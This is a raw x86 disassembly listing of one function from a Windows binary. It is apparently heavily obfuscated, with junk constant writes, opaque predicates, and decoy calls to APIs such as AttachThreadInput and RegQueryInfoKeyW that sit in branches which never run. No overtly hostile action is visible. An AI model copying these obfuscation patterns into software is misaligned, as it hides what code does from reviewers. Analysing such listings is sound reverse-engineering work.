mov dword [esp + 0x1c], eax
cmp dword [esp + 0x1c], ebx
je 0x100411d6
mov eax, dword [esp + 0x34]
mov eax, dword [esp + 0x14]
mov ecx, 0x98b
mov dword [esp + 0x1c], eax
xor edx, edx
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x34]
sub ecx, eax
sub ecx, dword [esp + 0x30]
mov eax, dword [esp + 0xf8]
cmp ecx, dword [eax]
mov eax, dword [esp + 0x2c]
mov ecx, dword [esp + 0x50]
setle dl
sub eax, edx
sub ecx, eax
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, dword [esi + 8]
setge al
mov dword [esp + 0x2c], eax
cmp dword [esp + 0x2c], ebx
jne 0x1004122a
mov eax, dword [esp + 0x50]
mov eax, dword [esp + 0x34]
xor edx, edx
mov ecx, dword [esp + 0x2c]
mov eax, dword [esp + 0x50]
cmp ecx, eax
push dword [esp + 0xf8]
setne dl
mov dword [esp + 0x54], edx
call fcn.10051707
pop ecx
mov dword [esp + 0xf8], ebx
mov dword [esp + 0xfc], ebx
mov dword [esp + 0x100], ebx
mov eax, dword [esp + 0x18c]
mov dword [esp + 0x1d4], eax
mov edi, dword [esp + 0x40]
push 2
lea ecx, [esp + 0xe4]
call fcn.1000e440
mov dword [esp + 0x10], ebx
jmp 0x1004129f
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0xe0]
mov dword [eax + ecx*4], 1
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 2
jl 0x10041289
mov eax, dword [esp + 0xe0]
or dword [eax], 0xffffffff
mov byte [esp + 0x1b], bl
cmp byte [esp + 0x1b], 0
je 0x100412c3
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov eax, dword [esp + 0xe0]
inc dword [eax]
cmp dword [eax], 0x19
jl 0x100412b0
mov byte [esp + 0x1b], bl
cmp byte [esp + 0x1b], 0
je 0x100412ea
push 1
push ebx
push 0x1b90
call dword [sym.imp.USER32.dll_SetWindowRgn]
push dword [esp + 0xe0]
call fcn.10051707
mov dword [esp + 0xe4], ebx
mov dword [esp + 0xe8], ebx
mov dword [esp + 0xec], ebx
pop ecx
test edi, edi
jne 0x10041a92
cmp dword [esp + 0x184], edi
jle 0x10041a92
push 4
lea ecx, [esp + 0x134]
call fcn.1000e440
mov dword [esp + 0x30], 0x3fe662db
mov dword [esp + 0x28], 0x9fff12f3
mov dword [esp + 0x28], 0x4a11600d
mov dword [esp + 0x28], 0xc5530c4e
mov dword [esp + 0x10], ebx
jmp 0x1004136b
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x130]
mov dword [eax + ecx*4], 0x6df37d45
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 4
jl 0x10041355
xor eax, eax
inc eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x30], 3
cmp dword [esp + 0x30], ebx
jl 0x100413da
mov dword [esp + 0x10], 0xccb97252
mov dword [esp + 0x28], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x10], ebx
jmp 0x100413ad
mov dword [esp + 0x1c], 0xa5eafb5d
dec dword [esp + 0x1c]
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 3
jle 0x1004139d
mov byte [esp + 0x1b], bl
cmp byte [esp + 0x1b], 0
je 0x100413d4
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
xor eax, eax
inc eax
dec dword [esp + 0x30]
jns 0x10041387
cmp dword [esp + 0x130], 0
je 0x10041406
push dword [esp + 0x130]
call fcn.10051707
pop ecx
mov dword [esp + 0x130], ebx
mov dword [esp + 0x134], ebx
mov dword [esp + 0x138], ebx
mov dword [esp + 0x10], 0xe87df2f4
mov dword [esp + 0x1c], 0x99d9
mov dword [esp + 0x10], ebx
jmp 0x1004142f
mov eax, dword [esp + 0x10]
mov dword [esp + eax*4 + 0x250], 0xcff0ea75
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 2
jl 0x1004141c
mov dword [esp + 0x10], ebx
jmp 0x10041454
mov dword [esp + 0x24], 0x1fc3eee2
cmp dword [esp + 0x24], ebx
jne 0x1004145b
cmp dword [esp + 0x1c], ebx
jne 0x1004145b
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 1
jle 0x1004143c
mov byte [esp + 0x1b], bl
cmp byte [esp + 0x1b], 0
je 0x10041478
push 1
push 0x1405
push 0xf10
call dword [sym.imp.USER32.dll_AttachThreadInput]
mov dword [esp + 0x34], 0xfff8
lea ecx, [esp + 0xec]
push 3
call fcn.1000e440
mov dword [esp + 0x27c], 0xe
mov dword [esp + 0x14], 0xa3a92bd4
mov dword [esp + 0x38], 0xa2ae7b79
mov dword [esp + 0x2c], 0x9b3a00d0
mov dword [esp + 0x24], 0x19d0
cmp dword [esp + 0x24], 0x11d0
jge 0x1004155e
lea eax, [esp + 0xcc]
mov esi, 0x100077f4
push eax
push esi
call fcn.100513ab
pop ecx
pop ecx
cmp eax, 1
jne 0x1004155e
lea eax, [esp + 0xd0]
push eax
push esi
call fcn.100513ab
mov edi, 0x10ab452c
xor eax, eax
cmp dword [esp + 0xd8], 0
mov esi, ebx
pop ecx
pop ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
jle 0x10041534
lea eax, [esp + 0x1bc]
push eax
push 0x100077f4
call fcn.100513ab
mov eax, dword [esp + 0x1c4]
inc esi
pop ecx
pop ecx
mov byte [eax + 0x10ab452c], 1
cmp esi, dword [esp + 0xd0]
jl 0x10041508
mov ecx, dword [esp + 0xcc]
call fcn.1003fe4c
lea eax, [esp + 0xcc]
mov esi, 0x100077f4
push eax
push esi
call fcn.100513ab
pop ecx
pop ecx
cmp eax, 1
je 0x100414e1
mov edi, dword [esp + 0x40]
mov dword [esp + 0x24], 0x71808adc
mov dword [esp + 0x3c], 0xffffffff
mov dword [esp + 0x10], ebx
jmp 0x10041586
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0xec]
mov dword [eax + ecx*4], ebx
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 3
jl 0x10041574
mov eax, dword [esp + 0x34]
mov eax, dword [esp + 0x34]
mov edx, dword [esp + 0xec]
sub eax, 0x11accbad
neg eax
sbb eax, eax
inc eax
mov dword [edx + 8], eax
jne 0x100415b2
mov dword [edx + 8], 0xdb6d0374
mov eax, dword [esp + 0x34]
mov ecx, dword [esp + 0x14]
add ecx, eax
mov dword [esp + 0x38], ecx
cmp dword [esp + 0x2c], ebx
je 0x100415ec
mov eax, dword [esp + 0x2c]
mov eax, dword [esp + 0x2c]
imul eax, dword [esp + 0x34], 0xffff
test eax, eax
jne 0x100415de
mov eax, dword [esp + 0x38]
mov eax, dword [esp + 0x14]
cmp dword [edx + 8], ebx
je 0x100415ec
xor esi, esi
inc esi
jmp 0x100415ee
mov esi, ebx
mov eax, dword [esp + 0x24]
xor ecx, ecx
cmp esi, eax
sete cl
imul ecx, dword [esp + 0x14]
sub ecx, dword [edx + 8]
je 0x1004163c
mov byte [esp + 0x1b], bl
cmp byte [esp + 0x1b], 0
je 0x1004161c
push 0xd9d
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov byte [esp + 0x1b], bl
cmp byte [esp + 0x1b], 0
je 0x10041826
push ebx
push 0x10a0
call dword [sym.imp.USER32.dll_EndDialog]
jmp 0x10041826
mov eax, 0x726845d4
mov dword [esp + 0x1c], 0xa6f4
mov dword [esp + 0x1ec], eax
lea ecx, [esp + 0x178]
mov dword [esp + 0x1f0], eax
mov dword [esp + 0x1f4], eax
mov dword [esp + 0x1f8], eax
push 3
call fcn.1000e440
mov byte [esp + 0x27c], 0xf
lea eax, [esp + 0x224]
push dword [esp + 0x1b0]
movdqa xmm0, xmmword [0x10007f60]
lea ecx, [esp + 0x98]
push eax
lea eax, [esp + 0x21c]
mov dword [esp + 0x30], 0x2f5726b0
push eax
mov dword [esp + 0x34], 0x7e8793e
mov dword [esp + 0x34], 0xfffffff8
push ebx
movdqu xmmword [esp + 0x224], xmm0
mov dword [esp + 0xa4], ebx
mov dword [esp + 0xa8], ebx
mov dword [esp + 0xac], ebx
call fcn.10033b93
mov byte [esp + 0x27c], 0x10
mov dword [esp + 0x10], ebx
jmp 0x10041701
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x178]
mov dword [eax + ecx*4], 0x37a762a
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 3
jl 0x100416eb
cmp dword [esp + 0x14], ebx
jne 0x10041730
mov eax, dword [esp + 0x1f4]
cmp dword [esp + 0x1c], eax
jg 0x10041726
cmp dword [esp + 0x3c], ebx
je 0x10041726
xor eax, eax
inc eax
jmp 0x10041728
mov eax, ebx
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x38]
mov eax, dword [esp + 0x1c]
mov eax, dword [esp + 0x3c]
mov eax, dword [esp + 0xec]
mov dword [eax + 4], ebx
mov dword [esp + 0x14], ebx
jmp 0x100417c3
mov dword [esp + 0x28], 0xc6833e1a
lea ecx, [esp + 0x1d8]
mov dword [esp + 0x28], 1
mov dword [esp + 0x28], 0x3d3a1a91
mov dword [esp + 0x28], 0xcdb59559
push 2
call fcn.1000e440
mov dword [esp + 0x10], ebx
jmp 0x10041792
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x1d8]
mov dword [eax + ecx*4], 0xd064616e
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 2
jl 0x1004177c
mov eax, dword [esp + 0x1d8]
push eax
dec dword [eax + 4]
call fcn.10051707
mov dword [esp + 0x1dc], ebx
mov dword [esp + 0x1e0], ebx
mov dword [esp + 0x1e4], ebx
inc dword [esp + 0x18]
pop ecx
cmp dword [esp + 0x14], 0x10
jge 0x10041748
cmp dword [esp + 0x94], 0
je 0x100417fa
push dword [esp + 0x94]
call fcn.10051707
pop ecx
mov dword [esp + 0x94], ebx
mov dword [esp + 0x98], ebx
mov dword [esp + 0x9c], ebx
cmp dword [esp + 0x178], 0
je 0x10041826
push dword [esp + 0x178]
call fcn.10051707
pop ecx
mov dword [esp + 0x178], ebx
mov dword [esp + 0x17c], ebx
mov dword [esp + 0x180], ebx
or dword [esp + 0x27c], 0xffffffff
push dword [esp + 0xec]
call fcn.10051707
cmp dword [esp + 0x18c], 0
pop ecx
mov dword [esp + 0xec], ebx
mov dword [esp + 0xf0], ebx
mov dword [esp + 0xf4], ebx
je 0x10041a92
mov dword [esp + 0x14], 0x67a876e6
mov dword [esp + 0x1c], 0xea21e1d8
mov dword [esp + 0x34], 8
mov dword [esp + 0x20], 0x7f21
mov dword [esp + 0x24], 0xc74c3eec
cmp dword [esp + 0x14], ebx
je 0x10041898
mov eax, dword [esp + 0x14]
mov eax, dword [esp + 0x14]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x1c], 1
xor edx, edx
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x34], eax
mov ecx, dword [esp + 0x34]
mov eax, dword [esp + 0x14]
cmp ecx, eax
setl dl
xor eax, eax
inc eax
sub eax, edx
sub eax, dword [esp + 0x14]
cmp dword [esp + 0x14], eax
je 0x1004199e
cmp dword [esp + 0x14], ebx
jne 0x1004199e
mov dword [esp + 0x28], 0x1f1c18a0
lea ecx, [esp + 0x104]
mov dword [esp + 0x28], 0x2f53403e
mov dword [esp + 0x28], ebx
push 3
call fcn.1000e440
xor edx, edx
mov dword [esp + 0x14], ebx
inc edx
jmp 0x10041912
mov eax, dword [esp + 0x14]
mov dword [esp + eax*4 + 0x208], 0x35d5d909
inc dword [esp + 0x14]
cmp dword [esp + 0x14], edx
jl 0x100418ff
mov dword [esp + 0x14], ebx
jmp 0x10041930
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x104]
mov dword [eax + ecx*4], edx
inc dword [esp + 0x14]
cmp dword [esp + 0x14], 3
jl 0x1004191e
mov dword [esp + 0x20], ebx
cmp dword [esp + 0x20], ebx
jg 0x10041969
mov eax, dword [esp + 0x104]
inc dword [eax + 8]
mov dword [esp + 0x28], 0xe85c68ab
mov dword [esp + 0x28], 0xb077cb11
mov dword [esp + 0x28], ebx
inc dword [esp + 0x20]
cmp dword [esp + 0x20], ebx
jle 0x10041948
cmp dword [esp + 0x104], 0
je 0x10041a78
push dword [esp + 0x104]
call fcn.10051707
pop ecx
mov dword [esp + 0x104], ebx
mov dword [esp + 0x108], ebx
mov dword [esp + 0x10c], ebx
jmp 0x10041a78
mov dword [esp + 0x3c], 0xfffffffa
mov dword [esp + 0x1c], 0x963f6d1d
mov dword [esp + 0x1c], 0x3ede5c48
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x10], ebx
jmp 0x100419d3
mov eax, dword [esp + 0x10]
mov dword [esp + eax*4 + 0x128], 0x783312ef
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 2
jl 0x100419c0
cmp dword [esp + 0x20], ebx
je 0x10041a5f
mov ecx, dword [esp + 0x3c]
xor edx, edx
mov eax, dword [esp + 0x20]
cmp ecx, eax
setg dl
mov dword [esp + 0x34], edx
xor edx, edx
mov ecx, dword [esp + 0x34]
mov eax, dword [esp + 0x14]
cmp ecx, eax
setge dl
mov dword [esp + 0x1c], edx
cmp dword [esp + 0x1c], ebx
jne 0x10041a15
cmp dword [esp + 0x128], ebx
je 0x10041a20
cmp dword [esp + 0x24], ebx
je 0x10041a20
xor ecx, ecx
inc ecx
jmp 0x10041a22
mov ecx, ebx
mov eax, dword [esp + 0x3c]
xor edx, edx
sub ecx, eax
mov eax, dword [esp + 0x128]
add ecx, 0x18e
cmp ecx, eax
mov eax, dword [esp + 0x128]
setne dl
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [esp + 0x128], ecx
mov dword [esp + 0x1c], ecx
cmp dword [esp + 0x1c], ebx
je 0x10041a5f
mov eax, ebx
jmp 0x10041a62
xor eax, eax
inc eax
xor ecx, ecx
test eax, eax
setne cl
xor eax, eax
cmp ecx, 0xa8d6
setge al
mov dword [esp + 0x1c], eax
mov ecx, dword [esp + 0x188]
call fcn.10afb04c
mov edi, eax
lea eax, [esp + 0x58]
push eax
call fcn.10042096
mov dword [eax], edi
lea ecx, [esp + 0x184]
call fcn.1003c1da
mov dword [esp + 0x20], 0xfffffff7
xor eax, eax
mov dword [esp + 0x3c], 0x285faafe
inc eax
mov dword [esp + 0x34], 0x245f5b1b
push 9
pop ecx
mov dword [esp + 0x38], 0xdca27289
mov dword [esp + 0x1c], eax
mov dword [esp + 0x30], ecx
lea ecx, [esp + 0x11c]
push 4
mov dword [esp + 0x4c], 0x72b752bf
pop esi
mov dword [esp + 0x2c], esi
mov dword [esp + 0x24], 0x889b
mov dword [esp + 0x40], 0x2089ce3
mov dword [esp + 0x28], eax
push esi
call fcn.1000e440
mov dword [esp + 0x44], ebx
mov dword [esp + 0x14], ebx
jmp 0x10041b16
mov eax, dword [esp + 0x14]
mov dword [esp + eax*4 + 0x60], 0x66e9f086
inc dword [esp + 0x14]
cmp dword [esp + 0x14], 1
jl 0x10041b06
mov dword [esp + 0x14], ebx
jmp 0x10041b39
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x11c]
mov dword [eax + ecx*4], 1
inc dword [esp + 0x14]
cmp dword [esp + 0x14], esi
jl 0x10041b23
mov byte [esp + 0x1b], bl
cmp byte [esp + 0x1b], 0
je 0x10041b51
push ebx
call dword [sym.imp.USER32.dll_RegisterClassW]
mov eax, dword [esp + 0x3c]
mov eax, dword [esp + 0x2c]
inc dword [esp + 0x2c]
test eax, eax
je 0x10041b72
mov eax, dword [esp + 0x38]
mov dword [esp + 0x60], eax
test eax, eax
je 0x10041b72
xor edx, edx
inc edx
jmp 0x10041b74
mov edx, ebx
mov eax, dword [esp + 0x1c]
xor ecx, ecx
cmp edx, eax
setge cl
xor edx, edx
add ecx, dword [esp + 0x48]
mov eax, dword [esp + 0x1c]
cmp ecx, eax
mov eax, dword [esp + 0x38]
setg dl
xor ecx, ecx
cmp edx, eax
setle cl
cmp ecx, dword [esp + 0x30]
jl 0x10041ba3
mov eax, dword [esp + 0x30]
mov eax, dword [esp + 0x30]
mov eax, dword [esp + 0x34]
mov eax, dword [esp + 0x48]
mov eax, dword [esp + 0x30]
mov eax, dword [esp + 0x3c]
mov eax, dword [esp + 0x34]
mov dword [esp + 0x20], ebx
mov eax, dword [esp + 0x60]
cmp dword [esp + 0x20], eax
jg 0x10041be5
mov byte [esp + 0x1b], bl
cmp byte [esp + 0x1b], 0
je 0x10041dbd
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
jmp 0x10041dbd
mov dword [esp + 0x20], 0xaf09d89c
mov dword [esp + 0x1c], 1
mov dword [esp + 0x3c], 0xc23faab9
mov dword [esp + 0x28], 3
mov dword [esp + 0x2c], 0x11c0d400
mov dword [esp + 0x10], ebx
jmp 0x10041c22
mov eax, dword [esp + 0x10]
mov dword [esp + eax*4 + 0x1e4], ebx
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 2
jl 0x10041c13
mov eax, dword [esp + 0x40]
mov ecx, dword [esp + 0x20]
sub ecx, 0x4971
push 9
pop eax
add ecx, eax
mov eax, dword [esp + 0x24]
neg ecx
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x1c]
sbb ecx, ecx
xor edx, edx
add ecx, 0xca724d14
cmp eax, ecx
setne dl
xor eax, eax
cmp edx, 0x825d
setne al
mov dword [esp + 0x34], eax
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x34]
sub edx, eax
mov eax, dword [esp + 0x20]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp eax, edx
setne cl
cmp dword [esp + 0x48], ecx
jle 0x10041c92
cmp dword [esp + 0x38], ebx
jne 0x10041c92
mov edx, ebx
jmp 0x10041c95
xor edx, edx
inc edx
mov eax, dword [esp + 0x20]
xor ecx, ecx
cmp edx, eax
mov eax, dword [esp + 0x30]
setle cl
xor edx, edx
cmp ecx, eax
setne dl
sub edx, dword [esp + 0x20]
mov eax, dword [esp + 0x3c]
neg edx
sbb edx, edx
inc edx
mov dword [esp + 0x24], edx
xor edx, edx
cmp dword [esp + 0x24], eax
mov eax, dword [esp + 0x20]
setg dl
xor ecx, ecx
cmp edx, eax
setle cl
sub ecx, dword [esp + 0x3c]
mov dword [esp + 0x60], ecx
mov dword [esp + 0x20], ebx
cmp dword [esp + 0x20], 0x16
jge 0x10041dbd
mov esi, dword [esp + 0x11c]
mov dword [esp + 0x24], ebx
mov dword [esp + 0x1c], 0xa1fbcda4
mov dword [esp + 0x24], 0x308d5b94
mov dword [esp + 0x24], 0xfedea8f4
mov dword [esp + 0x3c], 0xe3b40bbf
mov dword [esp + 0x14], 0x9ad3
mov dword [esp + 0x10], ebx
jmp 0x10041d33
mov eax, dword [esp + 0x10]
mov dword [esp + eax*4 + 0x20c], 0xffffffff
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 2
jl 0x10041d20
dec dword [esp + 0x14]
xor ecx, ecx
mov eax, dword [esp + 0x38]
mov eax, dword [esp + 0x38]
cmp eax, 0xbdf2420d
setg cl
mov dword [esp + 0x44], ecx
xor ecx, ecx
mov eax, dword [esp + 0x44]
mov eax, dword [esp + 0x14]
mov eax, dword [esp + 0x40]
mov eax, dword [esp + 0x24]
mov eax, dword [esp + 0x14]
cmp dword [esi + 0xc], eax
mov edx, dword [esp + 0x30]
mov eax, dword [esp + 0x1c]
setne cl
sub edx, ecx
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp eax, edx
setge cl
mov dword [esp + 0x210], ecx
mov eax, dword [esp + 0x2c]
mov eax, dword [esp + 0x1e8]
mov eax, dword [esp + 0x28]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x1e4], ebx
mov dword [esp + 0x1c], ebx
inc dword [esp + 0x20]
cmp dword [esp + 0x20], 0x16
jl 0x10041cee
push 4
pop esi
cmp dword [esp + 0x11c], 0
je 0x10041de9
push dword [esp + 0x11c]
call fcn.10051707
pop ecx
mov dword [esp + 0x11c], ebx
mov dword [esp + 0x120], ebx
mov dword [esp + 0x124], ebx
test edi, edi
je 0x10041ebd
push esi
lea ecx, [esp + 0x158]
call fcn.1000e440
mov dword [esp + 0x28], 0x2612
mov dword [esp + 0x38], ebx
jmp 0x10041e22
mov ecx, dword [esp + 0x38]
mov eax, dword [esp + 0x154]
mov dword [eax + ecx*4], 0x87f2
inc dword [esp + 0x38]
cmp dword [esp + 0x38], esi
jl 0x10041e0c
mov ecx, dword [esp + 0x154]
cmp dword [ecx + 4], ebx
je 0x10041e41
mov eax, dword [ecx + 4]
mov dword [esp + 0x28], ebx
mov dword [esp + 0x28], eax
jmp 0x10041e7e
push 9
pop eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x28], 0x1c6076fd
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x38], ebx
jmp 0x10041e6c
mov dword [esp + 0x1c], 0x8250
inc dword [esp + 0x1c]
jne 0x10041e73
inc dword [esp + 0x38]
cmp dword [esp + 0x38], 1
jg 0x10041e5a
dec dword [esp + 0x3c]
mov ecx, dword [esp + 0x154]
push ecx
call fcn.10051707
mov edx, dword [esp + 0x68]
pop ecx
mov ecx, edi
mov dword [esp + 0x154], ebx
mov dword [esp + 0x158], ebx
mov dword [esp + 0x15c], ebx
call fcn.1003fe42
mov esi, eax
lea eax, [esp + 0xbc]
push eax
mov dword [esp + 0x1d0], esi
call fcn.10042034
mov dword [eax], esi
mov dword [esp + 0x14], 0x824a8c6a
mov dword [esp + 0x2c], 0xfffffff8
mov dword [esp + 0x24], ebx
mov dword [esp + 0x1c], 0xfffffffb
mov dword [esp + 0x14], ebx
jmp 0x10041efb
mov dword [esp + 0x64], 0x137b1891
mov dword [esp + 0x28], 0x6ccb0362
mov eax, dword [esp + 0x64]
mov dword [esp + 0x28], eax
dec dword [esp + 0x14]
cmp dword [esp + 0x14], 0xfffffff1
jle 0x10041edf
mov eax, dword [esp + 0x2c]
mov eax, dword [esp + 0x2c]
mov eax, dword [esp + 0x2c]
imul eax, dword [esp + 0x14]
cmp eax, 1
jl 0x10041f1e
cmp dword [esp + 0x24], ebx
je 0x10041f21
xor ebx, ebx
inc ebx
xor eax, eax
cmp ebx, 0x8e55
setl al
mov dword [esp + 0x1c], eax
mov ecx, dword [esp + 0x14]
sub ecx, dword [esp + 0x14]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
sub ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x14]
cmp ecx, eax
mov eax, dword [esp + 0x14]
setle dl
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [esp + 0x14], ecx
mov eax, dword [ebp + 8]
lea esi, [esp + 0x1cc]
mov ecx, dword [esp + 0x274]
mov edi, eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret